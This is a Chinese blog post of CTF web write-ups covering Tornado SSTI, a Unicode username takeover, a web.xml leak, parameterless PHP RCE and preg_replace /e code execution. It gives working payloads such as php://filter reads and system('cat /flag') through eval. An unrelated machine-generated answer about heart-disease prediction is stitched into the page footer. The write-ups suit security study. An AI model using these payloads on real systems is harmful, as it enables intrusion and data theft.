Web安全学习Week12

上班

1.[护网杯 2018]easy_tornado


考点:

MD5加密
ssti注入

开局三个超链接

点进去看

 

提示了render加上标题easy_tornado想到ssti注入

        render()是tornado里的函数,可以生成html模板。是一个渲染函数 ,就是一个公式,能输出前端页面的公式。

总结: 
1. render方法的实质就是生成template模板; 
2. 通过调用一个方法来生成,而这个方法是通过render方法的参数传递给它的; 
3. 这个方法有三个参数,分别提供标签名,标签相关属性,标签内部的html内容 
4. 通过这三个参数,可以生成一个完整的木模板

 tornado是用Python编写的Web服务器兼Web应用框架,简单来说就是用来生成模板的东西。和Python相关,和模板相关,就可以推测这可能是个ssti注入题了。

看见传参 就传试试

然后报错了 

看见msg也可以传

再传试试 用俩花括号是因为

Tornado templates support control statements and expressions. Control
statements are surrounded by {% %}, e.g. {% if len(items) > 2 %}.
Expressions are surrounded by {{ }}, e.g. {{ items[0] }}

看见有回显

再传2回显orz就说明符合ssti注入

然后就是之前看到的cookie_secret

cookie_secret在Application对象settings的属性中 ,访问它的话就需要知道它的属性名字

上网查到:self.application.settings有一个别名是RequestHandler.settings

其中handler又是指向处理当前这个页面的RequestHandler对象

RequestHandler.settings指向self.application.settings

因此handler.settings指向RequestHandler.application.settings

 然后再根据之前的secret_cookie转md5

最后的payload

file?filename=/fllllllllllllag&filehash=a8d61d7f9d4b11e297b6a479b20b7de1

2.[HCTF 2018]admin


解法1:

开局点开菜单里面再点就有登录

界面 

用admin登陆试试

 也有账号注册功能

看来admin这个账号存在

试试弱密码123

可还行

 解法2:

注册发现

在password change里面看见源码

直接去康康就变代码审计了 

 

看见里面twisted的版本很低 

再利用这里nodeprep.prepare函数将unicode字符ᴬ转换成A,

而A再次调用nodeprep.prepare函数会把A转换成a 

就可以考虑注册登陆ᴬᴰᴹᴵᴺ再修改密码了

再登录的时候直接用admin

3.[RoarCTF 2019]Easy Java


考点:

web.xml泄露
filter伪协议读取

这题也是个登陆的

但登录是个噱头

点进help看见这个

 

 查到这个是WEB-INF/web.xml泄露

把get改post

再读 

再64解码就来了 

4.[GXYCTF2019]禁止套娃


开局啥也没有(感觉被戏弄 f12也没看见啥 就用dirsearch搜

看见.git目录,猜测存在.git源码泄露

用githack下载.git发现有东东

然后就发现源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

这里三个if都在正则匹配过滤

第一个过滤几个伪协议

第二个

(?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。
引用一次正则则变成了[a-z,_]+\([a-z,_]+\((?R)?\)\),可以迭代下去,
那么它所匹配的就是print(echo(1))、a(b(c()));类似这种可以括号和字符组成的,
这其实是无参数RCE比较典型的例子,

 第三个过滤et/na/info等一些关键字嘛

用scandir列出指定目录中的文件和目录,无参就列出当前目录的文件

payload

?exp=print_r(scandir(current(localeconv())));

 

next()函数讲内部指针指向数组中的下一个元素,并输出 

?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

 

最后的payload用highlight_file显示代码

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

5.[BJDCTF2020]ZJCTF,不过如此


如题 不过如此的代码审计

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

用伪协议匹配后面的句子再用伪协议包括一下next.php

payload

/?text=data:text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64-encode/resource=next.php

然后得到一串base64解码得下面 

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

这应该是next.php

主要就是绕过正则执行eval

然后

直接传.*由于php字符解析 .会被替代成下划线
所以我们换个元字符\S
\S表示匹配非空格以外的所有字符
\S*=${phpinfo()} 

 

然后就最后的payload咯

/next.php?\S*=${getFlag()}&cmd=system("cat%20/flag");

 


 

下班

每周一苦涩

在家待了一个假期

腿废了

和以前跑马拉松的队友碰见了

想跟着他跑

直接被拉好几圈

呜呜

太菜了 还是老老实实学安全把 难受

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
你好!对于心脏病预测的问题,使用循环神经网络(RNN)是一种常见的方法。RNN适用于处理序列数据,而心电图信号就是一种序列数据。在使用RNN进行心脏病预测时,你可以将心电图信号作为输入序列,然后通过训练RNN模型来预测患者是否患有心脏病。 首先,你需要准备一个合适的数据集,其中包含心电图信号和相应的心脏病标签。可以使用公开的心电图数据集,如PTB数据库或MIT-BIH数据库。然后,你可以对数据进行预处理和特征工程,如数据清洗、滤波、降采样等。 接下来,你可以构建一个RNN模型。RNN模型由一系列循环层组成,每个循环层都会处理一个时间步的输入数据。你可以选择不同类型的RNN单元,如简单循环单元(SimpleRNN)、长短期记忆网络(LSTM)或门控循环单元(GRU)。通过添加适当的全连接层和激活函数,你可以将RNN模型输出映射到二分类问题(有或无心脏病)的结果。 然后,你可以使用训练集对RNN模型进行训练,并使用验证集进行模型调优。在训练过程中,你可以使用适当的损失函数(如交叉熵)和优化算法(如随机梯度下降)来最小化模型的预测误差。 最后,你可以使用测试集对训练好的模型进行评估,并计算模型的性能指标,如准确率、精确率、召回率等。这些指标可以帮助你评估模型的预测能力和泛化能力。 需要注意的是,心脏病预测是一个复杂的医学问题,仅仅使用心电图信号可能不能得到准确的预测结果。通常情况下,还需要结合其他患者的临床信息和医学知识来进行综合评估。因此,在进行心脏病预测时,建议与专业医生合作,并遵循相关的医学准则和规范。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值